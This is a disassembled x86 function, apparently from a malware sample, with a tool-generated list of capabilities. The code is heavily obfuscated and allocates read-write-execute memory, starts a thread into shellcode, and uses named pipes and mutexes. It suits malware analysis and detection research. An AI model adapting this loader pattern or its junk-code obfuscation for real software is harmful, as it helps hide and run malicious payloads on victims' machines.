Function at 0x41c020
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Connect pipe
Create thread
Read pipe
Spawn thread to rwx shellcode
Write pipe

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x2c]
push esi
lea esi, [ebx + 0x298]
push edi
mov edi, dword [esp + 0x24]
lea eax, [ebp + 0x4b0]
mov dword [esp + 0x10], eax
lea edx, [ebx - 0x90]
lea ecx, [ebp + 0x4c9]
mov dword [esp + 0x18], esi
lea eax, [esi - 0x77d]
mov dword [esp + 0x14], edx
add edi, 0xfffff464
mov dword [esp + 0x2c], ecx
xor ebp, 0x1c63
mov dword [esp + 0x24], edi
xor ebx, 0x721
mov dword [esp + 0x34], ebp
cmp dword [esp + 0x10], eax
mov eax, ebx
jle 0x41c677
xor eax, 0x2c9
cmp ecx, eax
je 0x41c25f
lea eax, [ebx - 0x701]
cmp edi, eax
mov edi, dword [esp + 0x30]
jge 0x41c160
mov eax, dword [0x4b570c]
mov eax, dword [eax + 0x3c]
cmp eax, dword [edi + 0x104]
je 0x41c0c6
mov eax, dword [edi + 0x64]
add eax, dword [edi]
xor eax, dword [edi + 0x58]
xor eax, 0xa3ce3
mov dword [edi + 0x58], eax
mov eax, dword [edi + 0x1c]
add dword [esp + 0x24], 0xc29
add eax, 0x488dc
add dword [edi + 0x78], eax
mov eax, dword [edi]
cmp dword [edi + 0x70], eax
jne 0x41c0fd
mov eax, dword [edi + 0xe0]
xor eax, dword [edi + 0x28]
add eax, 0x159dbc
imul eax, dword [edi + 0x118]
mov dword [edi + 0x118], eax
mov eax, dword [edi]
mov ebp, dword [0x4b570c]
mov dword [esp + 0x1c], ebp
cmp dword [ebp + 0x10c], 0x4ee7
je 0x41c128
sub eax, dword [0x507104]
add eax, 0x1d2bb0
xor dword [0x5070dc], eax
mov eax, ebp
jmp 0x41c144
mov eax, dword [0x5071a8]
sub eax, dword [0x507128]
sub eax, 0x2d56a
add dword [edi + 0x3c], eax
mov eax, dword [0x4b570c]
mov dword [esp + 0x1c], eax
mov ebp, dword [esp + 0x1c]
xor ebx, 0x78e
mov eax, dword [eax + 0x64]
add eax, 0x1509f5
or dword [ebp + 0xa0], eax
mov ebp, dword [esp + 0x34]
lea eax, [edx + 0x14c]
cmp esi, eax
je 0x41c25f
mov ecx, dword [0x4b570c]
mov eax, dword [ecx + 0xcc]
cmp eax, dword [edi + 0xe8]
jbe 0x41c196
mov eax, dword [edi + 0x10c]
add eax, 0x18c9da
xor dword [edi + 0x3c], eax
mov ecx, dword [0x4b570c]
mov eax, dword [ecx + 0x108]
xor edx, 0x354
xor eax, dword [0x5070e0]
sub edx, 0x7b6
add eax, 0x1a4f18
mov dword [esp + 0x14], edx
or dword [0x507104], eax
add ebp, 0x1f9c
mov eax, dword [edi + 0x1c]
add eax, 0x58bbb
mov dword [esp + 0x34], ebp
xor dword [ecx + 0x100], eax
mov eax, dword [edi + 0xe0]
mov edx, dword [0x4b570c]
add eax, 0x11c0a2
add eax, dword [edi + 0xec]
or dword [edx + 0x10c], eax
mov eax, dword [edi + 0x78]
add eax, dword [edi + 0xa0]
xor eax, 0x841cb
mov dword [edi + 0x14], eax
mov esi, dword [0x4b570c]
mov eax, dword [esi + 0xb0]
cmp eax, dword [esi + 0xfc]
je 0x41c22d
mov eax, 0x19d515
sub eax, dword [edi + 0x64]
add dword [esi + 0xe0], eax
mov esi, dword [0x4b570c]
jmp 0x41c23f
mov eax, dword [edi + 0x108]
sub eax, dword [edi + 0xa0]
xor dword [0x50718c], eax
mov eax, dword [esi + 0xa0]
xor eax, dword [0x507188]
mov edx, dword [esp + 0x14]
xor eax, 0x160720
mov ecx, dword [esp + 0x2c]
mov dword [0x507188], eax
jmp 0x41c269
mov esi, dword [0x4b570c]
mov edi, dword [esp + 0x30]
mov eax, ebx
xor eax, 0x369c
cmp dword [esp + 0x18], eax
je 0x41c366
mov eax, ecx
xor eax, 0x5b7
cmp edx, eax
jg 0x41c366
lea eax, [ebx - 0x6a7]
cmp dword [esp + 0x10], eax
je 0x41c366
sub dword [esp + 0x24], 0x947
lea eax, [ebx - 0x113]
push edi
push ebp
push eax
xor edx, 0x55e
mov eax, ebp
push edx
xor eax, 0x3c08
push eax
call fcn.004049a0
mov esi, dword [0x4b570c]
add esp, 0x14
mov edx, dword [esp + 0x14]
mov dword [esp + 0x10], eax
mov ecx, dword [esi + 0x58]
sub ecx, 0xa3cdc
imul ecx, dword [0x507198]
mov dword [0x507198], ecx
lea ecx, [edx + 0x50e]
cmp dword [esp + 0x2c], ecx
jl 0x41c366
mov eax, dword [edi + 0xb0]
cmp eax, dword [0x5070e0]
jb 0x41c30b
mov eax, dword [edi + 0xf8]
mov dword [edi + 0x8c], eax
sub dword [esp + 0x18], 0x1dc
add ebp, 0x177
mov eax, dword [0x5070a0]
mov dword [esp + 0x34], ebp
cmp eax, dword [edi + 0x7c]
jb 0x41c334
mov eax, dword [0x50719c]
add dword [edi + 0xb0], eax
jmp 0x41c33d
mov eax, dword [edi + 0xc]
sub dword [edi + 0x8c], eax
mov eax, dword [0x4b570c]
mov eax, dword [eax + 0xf8]
mov dword [0x507194], eax
mov eax, dword [edi + 0x10]
add dword [edi + 0xf4], eax
xor edx, 0x3eca
mov esi, dword [0x4b570c]
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
xor eax, 0x3e64
cmp ecx, eax
je 0x41c4fe
mov edx, dword [esp + 0x2c]
lea eax, [edx - 0x190]
cmp dword [esp + 0x24], eax
je 0x41c4bd
mov eax, dword [edi + 0x118]
sub eax, 0x908144
imul eax, dword [0x507104]
mov dword [0x507104], eax
mov edx, dword [esi + 0x14]
add edx, dword [0x50716c]
xor edx, 0x160954
mov dword [edi + 0x50], edx
cmp dword [edi + 0x40], 0x5570
je 0x41c3d6
mov eax, dword [edi + 0x78]
add eax, 0x96382
add eax, dword [edi + 0xec]
xor eax, edx
mov dword [edi + 0x50], eax
jmp 0x41c3ee
mov eax, dword [edi + 0xec]
add eax, 0x18f7a
imul eax, dword [edi + 0xe8]
mov dword [edi + 0xe8], eax
mov dword [edi + 0x78], 0x12a7fd
mov eax, 0x11b1d1
mov ecx, dword [0x4b570c]
sub eax, dword [edi + 0x14]
add dword [ecx + 0x50], eax
cmp dword [edi + 0x1c], 0x2c45
je 0x41c420
mov ecx, dword [0x4b570c]
mov eax, 0x12946b
sub eax, dword [ecx + 0x78]
add dword [ecx + 0x50], eax
mov ecx, dword [0x4b570c]
mov eax, 0x1e82
sub eax, dword [0x5070a4]
add dword [0x5070f0], eax
mov eax, dword [ecx]
cmp eax, dword [ecx + 0x118]
jb 0x41c455
mov eax, dword [edi + 0x14]
sub eax, dword [edi + 0x28]
add eax, dword [0x507128]
add dword [0x507104], eax
jmp 0x41c478
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [eax + 0x6000]
mov eax, dword [0x4b570c]
mov dword [eax + 0xdc], ecx
and dword [edi + 0x84], 0
mov eax, dword [0x4b570c]
mov ecx, dword [edi + 0xdc]
mov dword [eax + 0xa8], ecx
mov eax, dword [0x4b570c]
mov dword [eax + 0x114], 0x273c
mov eax, dword [edi + 0x3c]
add eax, 0x100dcd
xor dword [edi + 0x64], eax
mov eax, dword [edi + 0x88]
sub eax, 0x3e7063e7
mov dword [edi + 0x60], eax
jmp 0x41c765
mov eax, dword [0x507114]
add eax, dword [0x5071a4]
add eax, edx
cmp dword [edi + 0x14], eax
jb 0x41c765
mov eax, ebx
and eax, 0x2751
add eax, ebx
cmp dword [0x507164], eax
jbe 0x41c765
mov eax, dword [edi + 8]
xor eax, dword [edi + 0x88]
xor eax, ebp
mov dword [edi + 0x88], eax
jmp 0x41c765
sub ebp, dword [esp + 0x10]
mov esi, ecx
mov ecx, dword [edi + 0xe0]
xor esi, 0x2113
xor ecx, dword [esp + 0x14]
mov edx, dword [edi + 0x18]
or ecx, dword [esp + 0x10]
add edx, dword [esp + 0x24]
add esi, dword [edi + 0x14]
push edi
push ebp
push ecx
push edx
push esi
call fcn.004049a0
mov esi, dword [esp + 0x2c]
mov ebx, eax
mov edx, dword [esp + 0x40]
mov ecx, esi
sub ecx, dword [esp + 0x48]
add esp, 0x14
sub ecx, 0x21bc
mov ebp, esi
xor dword [edi + 0x2c], ecx
neg ebp
mov eax, dword [edi + 0xa4]
sub eax, dword [edi + 0x118]
mov ecx, dword [esp + 0x30]
and eax, ebx
xor edx, eax
mov edi, dword [edi + 0xe8]
mov eax, ebp
xor edi, dword [esp + 0x24]
sub eax, esi
imul edi, dword [esp + 0x24]
sub eax, 0x1f26
mov dword [esp + 0x2c], edx
push eax
mov eax, dword [ecx + 0xcc]
or esi, 0x2113
xor eax, ebx
push esi
push eax
mov eax, dword [ecx + 0xfc]
mov ecx, ebp
imul eax, ebp
push eax
mov eax, ebp
sub eax, edx
push eax
mov eax, dword [0x4b570c]
sub ecx, dword [eax]
add ecx, 0x178a
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [0x4b570c]
mov edx, edi
mov ecx, dword [esp + 0x30]
sub edx, dword [eax + 0x88]
add edx, dword [ecx + 0x118]
mov esi, dword [ecx + 8]
mov ecx, dword [ecx + 0x78]
add esi, edi
xor ecx, edi
and esi, ebp
mov edi, dword [esp + 0x30]
mov eax, dword [edi + 0x70]
sub eax, dword [esp + 0x10]
and ecx, dword [edi + 0x1c]
push eax
mov eax, dword [esp + 0x14]
and eax, 0x13
or eax, 0x212c
push eax
push ecx
push edi
mov eax, ebp
xor eax, 0x2454
push eax
push edx
push esi
call fcn.004012d3
mov ecx, dword [edi + 0x64]
add esp, 0x1c
mov edx, dword [esp + 0x34]
sub ecx, 0x178a
push ecx
mov ecx, dword [edi + 0x74]
or ecx, eax
or eax, 0x1fd0
add ecx, edx
imul edx, dword [esp + 0x30]
push ecx
push eax
mov eax, dword [0x5070f8]
xor eax, 0x2278
push eax
imul eax, ebx, 0x21bc
push eax
mov eax, dword [0x5071ac]
push edx
or eax, ebx
push eax
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
mov eax, dword [edi + 0x64]
add eax, 0x2113
add eax, ebp
xor dword [edi + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [0x4b570c]
mov eax, dword [eax + 0x10c]
and eax, dword [0x507170]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x41c765
mov edi, dword [0x4b570c]
or eax, 0x2278
cmp dword [edi + 0x78], eax
jae 0x41c720
mov eax, dword [edi + 0xbc]
mov esi, dword [esp + 0x30]
sub eax, ebx
push eax
mov eax, dword [esi + 0xe4]
imul eax, edx
and eax, 0x1a6c
push eax
mov eax, dword [esi + 0x10c]
imul eax, ebx
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
and dword [esi + 0x118], 0
mov eax, dword [esi + 0x2c]
or eax, dword [esp + 0x2c]
and eax, dword [esi + 0x64]
xor dword [0x507168], eax
mov eax, ebp
and eax, 0x23b3
imul eax, dword [esi + 0xb8]
mov dword [esi + 0xb8], eax
mov eax, 0xffffdb65
sub eax, dword [esi + 0x18]
mov ecx, dword [0x4b570c]
add dword [ecx + 0xfc], eax
mov eax, dword [0x507180]
xor eax, 0x1f26
push eax
mov eax, ebp
imul eax, dword [esp + 0x18]
push esi
push eax
mov eax, dword [esi + 0x40]
add eax, ebp
push eax
lea eax, [ebp + 0x378f]
jmp 0x41c75c
mov ecx, dword [esp + 0x30]
mov eax, dword [ecx + 0xd4]
imul eax, ebx
sub ebx, esi
sub ebx, 0x269d
imul eax, dword [esp + 0x10]
push eax
mov eax, dword [edi + 0xe8]
or eax, dword [edi + 0x38]
or eax, dword [ecx + 0x118]
push 0x5070a0
push ebx
push eax
mov eax, dword [esp + 0x3c]
and eax, esi
add eax, 0x1a6c
push eax
call fcn.004041be
add esp, 0x14
mov eax, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
add eax, 0x90
pop ebx
add esp, 0x10
ret